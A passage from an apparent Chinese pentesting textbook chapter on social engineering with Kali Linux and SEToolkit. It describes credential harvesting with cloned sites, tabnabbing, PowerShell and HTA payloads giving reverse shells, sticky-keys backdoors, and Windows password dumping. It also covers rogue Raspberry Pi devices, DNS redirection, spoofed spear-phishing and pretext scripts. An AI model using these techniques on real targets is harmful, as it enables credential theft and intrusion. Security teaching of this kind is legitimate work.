Toolkit）。本章所介绍的相关工具的技术可以作为使用其他工具进行社会工程学攻击时的参考模型。 在本章结束时，你将学到： ·攻击者可以利用不同的社会工程学攻击方法。 ·如何在控制台执行物理攻击。 ·如何使用微控制器和USB创建流氓物理设备。 ·如何使用凭据收割机攻击窃取或者收集用户名和密码。 ·如何进行标签钓鱼和Web劫持攻击。 ·如何使用多种Web混合攻击方法。 ·如何使用PowerShell的字母数字shellcode注入攻击。 ·如何在Kali Linux上设置网络钓鱼功能（Phishing Frency）。 ·如何启动电子邮件网络钓鱼攻击。 为了支持SET工具包进行社会工程攻击，下面将描述一般的实现实践： ·隐藏恶意的可执行文件和伪装攻击者的URL。 ·使用DNS重定向来升级攻击。 5.1 方法和攻击方法 作为一种支持杀链的攻击路径，社会工程关注的是非技术方面的攻击，具体来说就是利用人的信任关系或者内部人员的帮助，通过欺骗的手段入侵一个网络及其资源。图5.1描述了攻击者获取信息的不同类型的攻击方法。 图5.1 社会工程获取信息的主要方法 社会工程涉及三个主要类别：基于计算机、语音和物理攻击。后面将简要介绍各种类型，而本章将探讨基于计算机的攻击，特别是使用Kali Linux的物理攻击和电子邮件钓鱼。"},
    {"text": "5.1.1 基于计算机的攻击 利用计算机去实现社会工程攻击的方法分为以下类型。只有当最大程度地利用所有被动和主动侦察信息时，才能最好地利用所有这些不同类型的攻击： ·电子邮件钓鱼（Email phishing）：攻击者利用电子邮件获取信息，或利用受害者系统中的已知软件漏洞的攻击称为电子邮件钓鱼。 ·引诱（Baiting）：这是一种用于嵌入已知漏洞并创建后门或类似的技术，通过使用USB和光盘实现目标。诱饵依赖于物理媒介、人类的好奇心利用。攻击者可以创建一个特洛伊木马，通过自动运行功能或当用户单击打开驱动器中的文件时，木马将为他们提供对系统的后门访问。 ·钓鱼短信（SMSishing）：攻击者利用短信服务（Short Message Service，SMS）模式，通过网站使用网络钓鱼的组合。渗透测试人员还可以使用公开提供的服务，例如 https://www.spoofmytextmessage.com 。 ·无线网络钓鱼（Wi-Fi phishing）：渗透测试人员可以通过设置类似于目标企业的假Wi-Fi获取用户名和密码。例如，如果攻击者的目标是XYZ公司，通过将Wi-Fi中的SSID设置为与该公司完全相同或相似，允许用户在没有任何密码的情况下连接到假的无线路由器。 5.1.2 基于语音的攻击 涉及利用语音信息欺骗用户对计算机执行任何操作或泄露敏感信息的任何攻击都称为基于语音的社会工程。 语音钓鱼（ViShing）是利用声音记录消息的艺术，从与受害者的通话中提取受害者个人或群体的信息。通常，语音钓鱼涉及可信任的剧本，例如，如果X公司宣布与Y公司建立新的合资企业，员工将非常好奇公司的未来会如何。这使得攻击者可以直接用预先描述的剧本来致电受害者，如下所示： “你好，我是来自已经被宣布为新的合资公司Y的XX。我们现在都在同一个团队工作，可以让我知道你们的数据中心位于哪里并提供给我关键任务服务器列表吗？如果你不知道，你能告诉我知道的人吗？非常感谢！” 5.1.3 物理攻击 物理攻击是涉及物理存在的社会工程攻击。以下是红色队伍练习或渗透测试期间可能执行的两种物理攻击： ·冒充（Impersonation）：这需要测试人员创建一个剧本，测试者模仿一个重要的人物来收集目标公司一组员工的信息。我们最近实践了一次社会工程攻击，目的是通过物理社会工程攻击来识别域用户的用户名和密码。攻击者可以与受害用户交谈，并冒充内部IT帮助台：“亲爱的X先生，我是内部IT部门的X博士，请注意，您的系统已经与网络断开了20天，建议安装最新的系统更新，由于最新的勒索攻击，你是否介意提供笔记本电脑的用户名和密码”，这导致用户提供他们的实际笔记本电脑的细节信息。现在，我们知道下一步是为同一个系统建一个后门来维持持续访问。 ·控制台上的攻击（Attacks at the console）：这涉及物理访问系统的所有攻击，例如更改管理员用户的密码、植入键盘记录器、提取存储的浏览器密码或安装后门。 5.2 控制台上的物理攻击 在本节中，我们将探讨攻击者在具有物理访问权限的系统上执行的不同类型的攻击。 5.2.1 samdump2和chntpw 转储密码散列的最佳方法之一是使用samdump2。这可以通过打开所获得的系统电源，然后利用Kali USB在BIOS中进行必要的更改来完成。 一旦系统通过Kali启动后，在默认情况下，本地硬盘驱动器必须安装为一个媒体驱动器，如图5.2所示。 图5.2 本地硬盘驱动安装为媒体驱动器 如果驱动器无法安装，则攻击者将按照下面的步骤来安装驱动器，运行以下命令： 一旦安装了系统，导航到以下安装文件夹：/media/root/<ID>/Windows/System32/Config，并运行samdump2SYSTEM SAM，如图5.3所示。SYSTEM和SAM文件应该显示所有用户系统驱动器以及它们的密码散列值，然后使用John Ripper或Credump工具破解密码。 图5.3 运行samdump2SYSTEM SAM 使用相同的访问权限，攻击者也可以删除系统中用户的密码。chntpw是一个Kali Linux工具，可以用于编辑Windows注册表、重置用户密码、将用户提升为管理员，以及其他一些有用的选项。使用chntpw重置Windows密码是一种很好的方法。或者，当你不知道密码的时候，也可以使用chntpw获得对Windows的访问。 chntpw是用于在Windows NT/2000、XP、Vista中查看一些信息和更改用户密码的实用程序。 SAM用户数据库文件通常位于Windows文件系统上的\\WINDOWS\\system32\\config\\SAM。导航到同一个文件夹，如图5.4所示。 图5.4 导航到同一个文件夹 运行chntpw SAM，密码存储在Windows中的SAM文件中。安全账户管理器（Security Accounts Manager，SAM）是Windows XP、Windows Vista和Windows 7中存储用户密码的数据库文件。 它可用于对本地和远程用户进行身份验证。通常情况下，SAM文件位于C/Windows/system32/config/SAM中，如图5.5所示。 图5.5 显示用户密码 最后你应该可以得到确认，如<SAM>-OK。 有时你可能无法访问windows/system32，此时可以使用文件浏览器，然后右击打开终端。 其他旁路工具包括Kon-boot，这是另一个与chntpw有类似功能的取证实用程序，但是Kon-boot只会影响管理员账户，而不会删除管理员密码，它让你无密码登录，而在下次系统正常重新启动时，原管理员的密码是完整的，可从 https://www.piotrbania.com/all/kon-boot/ 下载该工具。"},
    {"text": "5.2.2 粘滞键 本节将探讨如何物理访问已解锁或没有密码的Windows计算机的控制台。攻击者可以利用Microsoft Windows粘贴键功能，在几秒钟之内建立一个后门。但是，需要一个管理员权限来替换可执行文件。一旦系统通过Kali Linux启动，攻击者可以替换文件而不受任何限制。 以下是攻击者用cmd.exe或powershell.exe替换Windows的实用程序的列表： ·sethc.exe ·utilman.exe ·osk.exe ·narrator.exe ·magnify.exe ·displayswitch.exe 如图5.6所示，攻击者用cmd.exe替换sethc.exe。 图5.6 攻击者用cmd.exe替换sethc.exe 5.2.3 使用Inception攻击系统内存 Inception是操纵和利用基于PCI的直接存储器存取（Direct Memory Access，DMA）的工具。该工具可以通过FireWire、Thunderbolt、Express卡、PC卡和其他PCI/PCI2接口攻击DMA。Inception可通过DMA对活动计算机执行侵入和非侵入的内存攻击。 安装Inception，攻击者可以在 https://github.com/carmaa/inception.git 克隆Git仓库。以下是涉及的典型步骤： 为了确保火线（FireWire）电缆与系统通信，必须安装取证1394库，该库是通过IEEE 1394（FireWire）接口执行内存取证的库。一旦安装了所有的库，渗透测试人员就可以攻击受害者系统了。攻击者可以从终端运行./incept-h，并且可以看到如图5.7所示的帮助（help）菜单。 图5.7 攻击者看到的Inception模块帮助菜单 当前版本的Inception具有以下模块： ·总线信息（Businfo）：该模块提供连接线上的串行总线信息。 ·植入（Implant）：植入模块通过DMA将后门直接上载到系统中。目前的版本已经在Windows 7SP1（x86）上得到验证。 ·测试（Test）：该模块测试所有驱动程序/连接以及运行Inception的其他必须信息。 ·卸载（Unload）：用于卸载设备之间的连接。 ·解锁（Unlock）：该模块将解锁任何密码并将权限升级到系统管理员或根，甚至系统。该模块在具有4GB主内存或更少内存的机器上更稳定。如果你的目标不止于此，你需要足够幸运才能找到工具可以达到的物理内存页面框架的映射签名。 图5.8显示了在使用FireWire1394的Windows 7机器上成功启动Inception。 图5.8 在使用FireWire1394的Windows 7机器上成功启动Inception"},
    {"text": "5.3 创建流氓物理设备 当入侵者用直接的物理设备访问系统和网络时，Kali和SEToolkit也是有利于攻击的。这可能是一个冒险的攻击，因为入侵者可能被细心的人或被监控设备发现。然而，“奖励”可能是丰厚的，因为入侵者可以入侵的系统中有重要价值的数据。 物理访问通常是社会工程的直接结果，尤其是模仿应用。模仿包括以下内容： ·一个自称是帮助平台或IT支持的人，只需要通过安装系统升级，就能快速地打扰受害者。 ·一个小商贩和一个客户聊天，然后假装有某人要聊天，或者去洗手间。 ·一个投递员丢弃一个包裹。攻击者可以选择在线购买一套制服；然而，因为大多数人都认为，一身穿着棕色衣服、推着堆满箱子的手推车的人就是UPS的快递员，制服对社会工程不是必要的！ ·工人穿着工作服，背着一个“工作序号”，他们打印出来的，通常允许进入配线间和其他地区，特别是，当他们声称这是建筑管理者的要求时。 穿着昂贵的西装，夹着一个写字板，来去匆匆。员工会认为你是一个新来的经理。在进行这种渗透时，我们通常会告知人们，我们是审计师，而我们的检查很少受到质疑。 对敌对的物理访问的目标是快速入侵选定的系统，这通常是通过在目标上安装一个后门，或类似的设备。 一个经典的攻击是在系统中放置一个CD-ROM、DVD或USB密钥，让系统自动播放选项安装它；然而，许多组织禁用在网络上自动播放。 攻击者还可以创建带有“有毒诱饵”（poisoned bait）陷阱的移动设备，包含文件的名称，邀请一个人点击文件，并检查其内容。一些例子如下： ·带标签的USB钥匙，如员工工资或医疗保险更新。 ·Metasploit允许攻击者绑定一个有效载荷，如反向外壳，可执行文件，如屏幕保护程序。攻击者可以使用公开可用的企业形象，创建一个屏幕保护程序，并邮寄CD给员工，标有新的endorsed screensaver字样。当用户安装程序时，也安装了后门，它连接到攻击者。 ·如果你知道员工参加了最近的一次会议，攻击者可以冒充一个供应商，并且发送给目标一封信件，暗示它是供应商给定的后续服务。一个典型的信息是，“如果你错过了我们的产品演示和为期一年的免费试用，请查阅USB钥匙上的幻灯片，单击start.exe文件”。 一个有趣的变种是SanDisk U3USB钥匙，或Smart Drive（智能驱动）。U3钥匙被预装软件，当插入协助启动批准程序时，启动允许钥匙直接写入文件或注册表信息。u3-pwn工具（KaliLinux|Maintaining Access|OS Backdoors|u3-pwn）从SanDisk U3删除原来的ISO文件，并且用一个敌对的Metasploit载荷代替它，然后编码以避免目标系统的检测。不幸的是，这些USB设备的支持正在减少，但是，面对相同程度的Metasploit其他工具载荷，他们仍有漏洞。 基于微机的攻击代理 Raspberry Pi是一个微型计算机—它的尺寸约8.5cm×5.5cm，但能包含512MB RAM、两个USB端口和一个以太网端口，采用Broadcom芯片，使用ARM处理器，运行频率700MHz（可超频至1GHz）。它不包括硬盘，但使用SD卡进行数据存储。如图5.9所示，Raspberry Pi约为笔长度的2/3，很容易隐藏在网络中（藏在工作站或服务器后面、放置在服务器柜中，或隐藏在数据中心的地板下）。 图5.9 Teensy实物图 要将Raspberry Pi配置为攻击向量，以下项目是必需的： ·Raspberry Pi模型B，或较新版本。 ·一个HDMI电缆。 ·微型USB电缆充电设备。 ·一种以太网电缆或小型无线适配器。 ·一个SD卡，10级，至少8GB。 所有的设备通常可以在网上买到，费用总计少于70美元。 为了配置Raspberry，下载Kali Linux ARM的最新版本，并取出源档案。如果你的计算机基于Windows的桌面配置，然后下载并提取Win32DiskImager（ http://sourceforge.net/projects/win32diskimager/ ）。 使用一个读卡器，连接SD卡到基于Windows的计算机，并且打开Win32DiskImager。选择ARM版本的Kali，提前下载和提取kali-custom-rpi.img，并将其写入SD卡。这需要一些时间。从MAC或Linux系统独立出来的用于闪烁SD卡的指令，在Kali网站上是可用的。 插入新闪烁SD卡到Raspberry Pi，连接以太网电缆，或无线适配器到Windows工作站，通过HDMI电缆连接到显示器，以及使用微型USB电源线供电。一旦通电，它将直接引导到Kali Linux。Raspberry依靠外部电源，没有单独的开关；然而，仍然可以从命令行接受命令关闭Kali。一旦Kali安装成功，确保迄今为止它使用的是apt-get命令。 确保SSH主机键在不停改变，因为所有的Raspberry Pi的映像具有相同的密钥。使用下面的命令： 同时，确保更改默认的用户名和密码。 下一步是配置Raspberry连接，回到一个攻击者的计算机（使用静态IP地址，或动态DNS寻址服务），固定间隔时间使用cron。攻击者必须在物理上访问目标的处所，并连接Raspberry到网络。大多数网络自动分配设备的DHCP地址，并且有限地控制对这种类型的攻击。 一旦Raspberry连接到攻击者的IP地址，攻击者可以执行侦察，利用从远程位置使用的SSH命令，对受害者的内部网络进行攻击、渗透、利用。 如果连接了无线适配器，如EW-7811Un，150Mbps无线802.11b/g/nNano USB适配器，攻击者可以进行无线连接，或者使用Pi发起无线攻击（参见第8章）。"},
    {"text": "5.4 社会工程工具包 社会工程工具包（SEToolkit）由David Kennedy（ReL1K）设计并开发，并由一群活跃的合作者进行维护（ www.social-engineer.org ）。该工具包是开源的python驱动（pythondriven）框架，主要为协助社会工程攻击而设计。 设计工具包的目的是通过培训实现安全。SEToolkit的一个重要的优点在于它可以和Metasploit框架进行相互连接，而Metasplot框架提供了攻击，通过加密绕过防火墙，以及当目标系统返回shell时进行连接的监听等模块所需要的平台。 为了在Kali的发行版中打开社会工程工具包（SET），可以进入以下路径“Applications/Kali Linux/Exploitation Tools/Social Engineering Toolkit/setoolkit”，或者在命令行中输入“setoolkit”。打开SET后，首先会看到如图5.10所示的主界面。 图5.10 社会工程工具包SEToolkit主界面 如果选择社会工程攻击（“1）Social-Engineering Attacks”），会出现如图5.11所示的子菜单。 图5.11 SEToolkit的Social-EngineeringAttacks 子菜单 以下对社会工程攻击做简单介绍： 网络钓鱼攻击向量（Spear-Phishing Attack Vector），攻击者创建邮件信息，并使用附加漏洞将信息发送给目标受害者。 网站攻击向量（Website Attack Vectors），使用多重基于Web的攻击，包括： ·Java小程序攻击方法（Java Applet Attack Method），伪造一份Java证书，并且运行一个基于Metasploit的载荷。该攻击是最成功的攻击之一，可以有效地针对Windows、Linux和OSX目标进行攻击。 ·Metasploit浏览器利用方法（Metasploit Browser Exploit Method），使用iFrame攻击，运行一个Metasploit载荷。 ·凭据收割机攻击方法（Credential Harvester Attack Method），对网站进行复制，并且通过对POST参数进行重写，使得攻击者可以拦截并且窃取用户的凭证。当窃取完成后，将受害者重定向回原来的网站。 ·标签钓鱼攻击方法（Tabnabbing Attack Method），对一个非活动的浏览器标签页面进行复制，修改复制后的页面，使其与攻击者相连接，最后使用该页面替换原有标签信息。当用户登录该页面时，用户的凭证将会发送给攻击者。 ·网页顶进攻击方法（Web Jacking Attack Method），使用iFrame替代，合法地将某些URL连接设置为高亮度。当该链接被点击时弹出一个窗口，该窗口连接到一个恶意链接。 ·综合攻击网页方法（Multi-Attack Web Method），允许一个攻击者选择若干，或者全部可以同时使用的攻击手段，包括： ·Java小程序攻击方法。 ·Metasploit浏览器攻击方法。 ·凭证收割攻击方法。 ·标签钓鱼攻击方法。 ·中间人攻击方法。 ·全屏攻击方法（Full-screen attack method）：在系统处于全屏模式时，攻击者在幕后发动的简单攻击方法。 ·HTA攻击方式（HTA attack method）：当一个攻击者提供一个假网站，将自动下载.hta格式的HTML应用程序。 ·介质感染攻击发生器（Infectious Media Generator），生成一个autorun.inf文件和Metasploit载荷。一旦受感染USB设备或者物理介质（CD或DVD）插入到目标系统，会自动运行（前提是开启autorun选项）并且感染（compromise）目标系统。 ·创建负载并进行监听（Create a Payload and Listener）模块，是创建一个Metasploit载荷的快速菜单驱动方法。攻击者必须使用单独的社会工程攻击欺骗目标运行该模块。 ·大规模邮件攻击（MassMailer Attack），允许攻击者使用多个用户向某个email地址，或者一组接收者发送邮件。 ·基于Arduino的攻击向量（Arduino-Based Attack Vector），通过对基于Arduino的设备写入程序实现，例如Teensy。因为，这些设备在物理连接Windows操作系统时，注册为USB接口的键盘设备，因此可以禁用autorun，或者对其他的终端进行安全保护。 ·短信欺骗攻击向量（SMS Spoofing Attack Vector），可以让攻击者向某人的移动设备发送自定义的短信服务（Short Message Service）文本，并且对消息的来源进行伪造。 ·无线接入点攻击向量（Wireless Access Point Attack Vector），可以在攻击者的操作系统中创建一个伪造的无线接入点和DHCP服务器，并且将DNS解析请求重定向到攻击者的系统。攻击者随后可以进行一系列攻击，例如Java小程序攻击或者凭证收割攻击。 ·二维码生成攻击向量（QRcode Generator Attack Vector），生成一个与攻击的URL有关的二维码。 ·Powershell攻击向量（Powershell Attack Vectors），支持攻击者进行依赖于PowerShell（所有Windows Vista及其以后版本，拥有的命令行解释器和脚本语言）的攻击。 ·第三方模块（Third Party Modules），支持攻击者使用远程管理工具汤米版（Remote Administration Tool Tommy Edition，RATTE）作为Java小程序攻击的一部分，或者作为一个独立的载荷。RATTE是一个文本驱动的远程访问工具。 SEToolkit也提供了支持快速跟踪渗透测试（Fast-Track Penetration Testing）的菜单项。快速跟踪渗透测试支持对一些特殊工具的快速访问，例如支持暴力破解认证和SQL数据库密码破解，还有一些基于Python、SCCM攻击向量、Dell computer DRAC/chassis攻击、用户枚举和PSEXEC PowerShell注入等的客户端攻击。 快速跟踪渗透测试菜单项同时也提供对Metasploit Framework、SEToolkit和SEToolkit配置的升级功能。但是，由于Kali并不支持全部的额外选项，而且这些额外选项可能会造成依赖性干扰，因此要尽量避免使用。 作为展示SEToolkit的强大功能的第一个例子，将会展示如何获取一个远程shell，通过被入侵系统连接攻击者的系统。"},
    {"text": "5.4.1 使用网站攻击向量——凭据收割攻击方法 凭据，通常为用户名和密码，是一个人访问网络、计算系统和数据的依据。攻击者可以使用这种间接信息（登录受害者的Gmail账户，发送电子邮件，帮助攻击受害者的信任连接），或直接攻击用户的账户。 这种攻击与广泛重用的凭据用户高度相关，典型情况是，一个用户通常在多个地方重复使用密码。 特别珍贵的是有访问特权的用户凭据，如系统管理员或数据库管理员，它可以提供给攻击者访问多个账户和数据库的凭据。 SEToolkit的凭据收割攻击，使用克隆的网站收集凭据。 要发动攻击，从主菜单中选择Website Attack Vectors（网站攻击向量），然后选择Credential Harvester Attack Method（凭据收割攻击方法）。作为例子，我们将按照菜单选项来克隆一个网站，如Facebook。 接着，目标地址必须发送到预定目标。当目标点击链接或输入IP地址，会出现一个克隆页面，类似于Facebook的登录页面，他们会被提示输入用户名和密码。 一旦这样做，用户将被重定向到普通的脸谱网站，在那里他们将登录到自己的账户。 在后台中，他们的访问凭据将被收集并转发给攻击者。在监听者窗口将看到下面的条目，如图5.12所示。 图5.12 收集凭证的监听者窗口 当攻击者已经完成收集凭据后，输入Ctrl+C，在/SET/reports/目录中，将产生XML和HTML两种格式的报告。 当用户点击链接到新的位置，他们将见到一个克隆页面，似乎是一个与预期相符的页码，如图5.13所示，该网页将收获他们的登录凭据。 图5.13 受害者见到的克隆页面 请注意，在URL栏的地址不是谷歌的有效地址，大多数用户都知道，如果他们查看地址，这个地址是错误的。一个成功的利用，攻击者需要一个合适的借口或故事，使受害者接受不寻常的网址。例如，发送一封电子邮件给一组非技术性管理者的目标群，宣称：“本地谷歌邮件网站正在减少邮件系统的延误。” 凭据收割攻击是评估企业网络安全的一个很好的工具。要使其充分发挥作用，该组织必须首先培训所有员工识别和应对网络钓鱼攻击。大约2周后，发送一个企业范围内的电子邮件，包含一些明显的错误（不正确的企业总裁名或包含错误地址的地址块）和一个链接到收获凭据的程序。计算收件人中使用他们的凭据回应的百分比，然后调整培训计划，以减少这一比例。 5.4.2 使用网站攻击向量——标签钓鱼攻击方法 标签钓鱼（tabnabbing）利用用户的信任，在一个浏览器打开的标签页中加载一个假网页。通过模拟网页的网站如Gmail、facebook或任何其他网站发布的数据（通常是用户名和密码），一个标签钓鱼攻击可以收集受害者的凭据。社会工程工具包调用凭据收割攻击，如之前所述。 为了发动这次攻击，从一个控制台提示符启动社会工程工具包，然后选择1）Social-Engineering Attacks。在下一个菜单中，选择2）Website Attack Vectors。最后，标签钓鱼攻击通过选择4）Tabnabbing Attack Method来启动。 当攻击被启动时，你将看到有三个选项来生成的假网站，假网站用来收集凭据。攻击者可以让SEToolkit导入一个预定义Web应用的列表，克隆一个网站（比如Gmail），或者导入自己的网站。在这个例子中，我们将选择2）Site Cloner（网站克隆）。 这将促使攻击者进入服务器将发布的IP地址，这通常是攻击者的系统的IP地址。 攻击者必须使用社会工程，迫使受害者访问地址后，产生返回的行动（例如，缩短URL）。受害者会收到一个消息，该网站正在加载（如在浏览器的不同标签下攻击脚本加载克隆网站，如图5.14所示）。 图5.14 加载克隆网站 然后，假网页将被呈现（虚假的IP地址仍然可见）。如果用户输入他们的用户名和密码，数据将被发送到攻击者的监听器。正如你在图5.15中看到的那样，它捕获了用户名和密码。 图5.15 标签钓鱼攻击捕获用户名和密码 5.4.3 使用网站攻击向量——综合攻击网页方法 “玛丽冰雹”攻击的网站攻击向量就是综合攻击网页方法（Multi-Attack Web Method），它允许攻击者在一次执行几种他们所选的不同的攻击。默认情况下，所有的攻击都是被禁用的，并且攻击者选择一个受害者，如图5.16所示。 图5.16 选择多种攻击方法进行综合攻击 这是一个有效的选择，如果不能确定攻击对目标组织的攻击是有效的；攻击者会先选择一名员工进行攻击，确定成功攻击后，再利用这些方法攻击其他员工。"},
    {"text": "5.4.4 使用PowerShell字母数字的shellcode注入攻击 社会工程学工具包还包含基于PowerShell的更有效的攻击，适用于所有微软Vista发布后的微软操作系统。因为PowerShell的shellcode可以很容易地被注入到目标的物理内存中，使用该载体的攻击不会触发病毒警报。 为了使用SEToolkit发起PowerShell的注入攻击，从主菜单选择1）Social-Engineering Attacks。然后从下一级菜单选择10）Powershell AttackVectors。 这会给攻击者四种攻击类型以供选择；例如，选择1，使用PowerShell Alphanumeric Shellcode Injector。 这将设置攻击参数，并提示攻击者输入有效载荷监听器的地址，通常是攻击者的地址。当这个已被输入，程序将创建利用代码，并开启一个本地监听器。 PowerShell展开攻击的shellcode，是存储在/root/.set/reports/powershell/x86_powershell_injection.txt中的。当攻击者说服受害者在命令提示符下复制x86_powershell_injection.txt文本的内容时，攻击的社会工程行为发生，并执行代码，如图5.17所示。 图5.17 PowerShell攻击成功 如图5.18所示，Shellcode的执行没有触发目标系统上的反病毒报警。相反，当代码被执行时，它在攻击系统上打开了Meterpreter会话，并允许攻击者攻击系统与远程系统交互shell。 图5.18 Meterpreter会话 5.4.5 HTA攻击 这种类型的攻击是一个简单的HTML应用程序，可以为远程攻击者提供完全访问。HTA通常的文件扩展名为.hta。HAT文件与任何具有扩展名为.exe的可执行文件一样。当通过mshta.exe执行（或者文件图标被双击），它将立即运行。当通过浏览器远程执行时，在HTA下载之前询问用户一次，是否保存并运行应用程序；如果保存，它可以简单地按需运行。 攻击者可以使用Web技术为Windows操作系统创建恶意应用程序：要使用SEToolkit启动HTA攻击，请从主菜单中选择1）Social-Engineering attacks。然后从下一个菜单中选择2）Website Attsck Vectors，然后选择8）HTA Attack Method，然后选择2）Site Cloner克隆任何网站，在这个例子中，我们将克隆Facebook.com，如图5.19所示。 图5.19 克隆Facebook.com 一旦安装完成后，攻击者选择了正确的有效载荷，在这个例子中，我们使用的是Meterpreter Reverse HTTPS，如果攻击完成，攻击者将能够获得反向shell到TCP端口443。 攻击者将发送假Facebook.com服务给受害者用户进行网络钓鱼，图5.20展示了受害者会看到的界面。 图5.20 受害者看到的界面 如果受害者在本地运行HTA文件，这将打开与攻击者的反向连接，如图5.21所示。SEToolkit应该从Metasploit自动设置监听器。 图5.21 受害者打开与攻击者的反向连接 5.5 隐藏可执行文件与伪装攻击者的URL 正如前面的例子所述，在发起一个社会工程攻击，有两个成功的关键因素。首先需要获得一些必要的攻击信息，如用户名、商业信息、网络细节、系统，以及应用等。 然而，大多数的工作努力都集中在第二方面，各具特色的攻击，以吸引目标进入一个位置，打开一个可执行文件，或点击一个链接为目的。 想成功攻击，就要求受害者执行一些攻击生成模块。如今用户对执行未知的软件变得越来越谨慎小心。然而，有一些方法可以增加成功执行攻击模块的可能性，主要包括以下几点： ·攻击来自受害者信任和已知的系统，或伪装了的攻击源地址。如果攻击来自于帮助平台或IT支持位置，并声称是一个“紧急软件更新”，软件可能会被执行。 ·将可执行程序重命名为类似于可信的软件，例如“Java更新”。 ·将恶意的有效载荷嵌入良性文件，如使用Metasploit的adobe_pdf_embedded_exe_nojs攻击，嵌入到一个PDF文件中。 ·可执行文件也可以绑定到微软Office文件、MSI安装文件，或BAT文件，配置在桌面上默默地运行。 ·有用户点击下载该恶意可执行文件的链接。 由于SEToolkit使用攻击者的URL作为其攻击的目标，一个关键的成功因素是确保攻击者的URL对受害者是可信的。有几种技术来完成这一任务，包括以下内容： ·缩短的URL，使用如goo.gl或tinyurl.com的服务。缩短的网址常见于社会媒体，如Twitter，受害者点击这样的链接时很少使用注意事项。 ·在社交媒体网站如Facebook或LinkedIn进入链接；网站会创建自己的链接来代替你的，使用目标页面的映像。然后，删除你输入的链接，留下新的社交媒体链接。 ·在LinkedIn或Facebook上创建假网页。作为攻击者，你应控制内容，并能创造一个令人信服的故事，驱动成员点击链接或下载可执行文件。一个良好的执行页面将不仅针对员工，而且针对供应商、合作伙伴和他们的客户，最大限度地提高社会工程攻击的成功率。 ·将链接嵌入文件，如嵌入PowerPoint。 要在PowerPoint中嵌入一个链接，启动它，创建一个幻灯片，保存的扩展名为.pps。给出一个目标群体感兴趣的标题，并创建一个通用内容文件。在第一页，插入一个文本框并拖动该框以覆盖该幻灯片的整个表面。点击Insert（插入），然后选择动作标签。在对话框中，单击Hyperlink（超链接）按钮，从下拉菜单中选择URL（网址）。输入用来发动攻击的URL，如图5.22所示。 图5.22 在PowerPoint中嵌入链接 当文件被打开时，它开始作为一个全屏幻灯片。由于攻击是通过鼠标发射的，用户在试图关闭该文件时，将发动攻击。"},
    {"text": "5.6 使用DNS重定向攻击的升级攻击 如果一个攻击者或渗透测试者，已经侵入内部网络中的一个主机，他们可以使用DNS重定向升级攻击。这通常被认为是一个横向攻击（它侵入的人有大致相同的访问权限），但是，如果捕获了特权人员的凭据，它也可以垂直升级。在这个例子中，我们将用Bettercap作为嗅探器，拦截和记录交换式局域网。它有利于中间人攻击，但是我们将用它来启动一个DNS重定向攻击，转移用户到我们的社会工程攻击的网站。 开始攻击，我们可以创建一个新的DNS配置文件，在这个例子中，我们将使用/root/folder到dns.conf，我们可以编辑具有以下内容的配置文件来执行DNS重定向： 将文件保存到本地任何位置，然后使用以下命令与我们创建的配置文件一起启动BetterCap： 我们现在可以运行BetterCap，它将自动调整网络上的所有系统，将任何到microsoft.com的请求重定向到192.168.0.116，如图5.23所示。第12章将进一步探讨BetterCap。 图5.23 运行BetterCap 5.7 网络钓鱼攻击曝光 钓鱼攻击是针对大量受害者的邮件诈骗攻击，例如，对已知的美国互联网用户列表进行攻击。一般情况下，无法直接连接目标，并且邮件也不针对某个指定目标。 相反，邮件一般包含很多人都感兴趣的话题（例如，点击此处购买药品），并且包含恶意链接或附件。出于好奇心，总会有一些人会点击链接或者附件，从而触发攻击。 从另一方面来说，网络钓鱼是钓鱼攻击的一种特殊的方式。通过特殊的方法，手工生成email消息，攻击者希望吸引特定人群的注意。例如，如果攻击者得知销售部门使用特殊的系统管理客户关系，他可以伪造一封来自系统开发商的邮件，主题为“<应用>紧急修复补丁——点击链接下载”。 在发起攻击之前，要确保Kali中已安装了Sendmail（apt-get install sendmail），并且将配置文件set_config中的SENDMAIL=OFF选项，修改为SENDMAIL=ON。 为了加载一个攻击，从SEToolkit菜单中选择社会工程攻击（Social Engineering Attacks），然后在子菜单中选择网络钓鱼攻击选项（Spear-Phishing Attack Vectors）。此时会加载该攻击的开始选项，如图5.24所示。 图5.24 SEToolkit的网络钓鱼攻击子菜单 选择1进行一次大量email攻击，然后会显示多个攻击载荷的列表，如图5.25所示。 图5.25 email攻击 攻击者可以根据在侦察阶段获得的可用目标的知识来选择任何可用的有效载荷。在此举个例子，我们用7）Adobe Flash Player“Button”Remote Code Execution作例子。 当选择7）时，将提示选择有效载荷，如图5.26所示。在本例中我们使用了Windows Meterpreter反向shell HTTPS。 图5.26 提示选择有效载荷 一旦从SET控制台准备好了有效载荷和漏洞，攻击者就会得到如图5.27所示的确认。 图5.27 攻击者得到确认 现在可以通过选项2.Rename the file重命名文件。文件名I want to be cool（我想要很酷）。 重命名文件后，将获得两个选项：E-mail Attack Single Email Address（单个电子邮件攻击），或者E-mail Mass Mailer（攻击大量邮件），如图5.28所示。 图5.28 获得攻击邮件选项 攻击者可以选择多个邮件或个人目标较弱的受害者。如果使用单一的电子邮件地址，SET会提供进一步的攻击者使用的模板，如图5.29所示。 图5.29 SET提供的攻击者使用的模板 在选择钓鱼模块之后你有两种选择发起攻击：（1）用你自己的Gmail账户，（2）使用自己的服务器或开放中继。如果你使用一个Gmail账户。它的攻击可能失败。Gmail检查发送的邮件的恶意文件，能非常有效地识别SEToolkit和metasploit框架产生的载荷。如果你必须使用Gmail发送有效载荷，首先用Veil-Evasion编码。 建议您使用sendmail选项发送可执行文件；进一步，它允许你恶搞电子邮件的来源，使它看起来好像来自受信任的来源。 为了确保电子邮件是有效的，攻击者应该关注以下几点： ·内容应该提供一个“胡萝卜”（新的服务器更快，反病毒措施有改进）和一个“棒”（在你可以访问你的电子邮件之前，你不得不做一些更改）。大多数人都会立即采取行动，特别是在影响到他们的时候。 ·在前面给出的例子中，所附文件的标题是template.doc。 ·在真实的场景中，这将改变Email instructions.doc。 ·确保你的拼写和语法是正确的，并且在信息的语调匹配信息的内容。 ·个人发送电子邮件的标题应该与内容匹配。 ·如果目标的组织很小，你可能要恶搞真正的人的名字，并且发送电子邮件给一个小组，一般不与个人交互。 ·包含一个电话号码，它能使邮件看起来更“官方”，并且，有不同的使用商业语音的IP解决方案，获得本地区号短期的电话号码。 一旦攻击的电子邮件发送到目标，成功激活（收件人启动可执行文件）将创建一个反向的Meterpreter隧道到攻击者的系统。攻击者会利用Meterpreter和其他工具进行典型的后期利用活动。"},
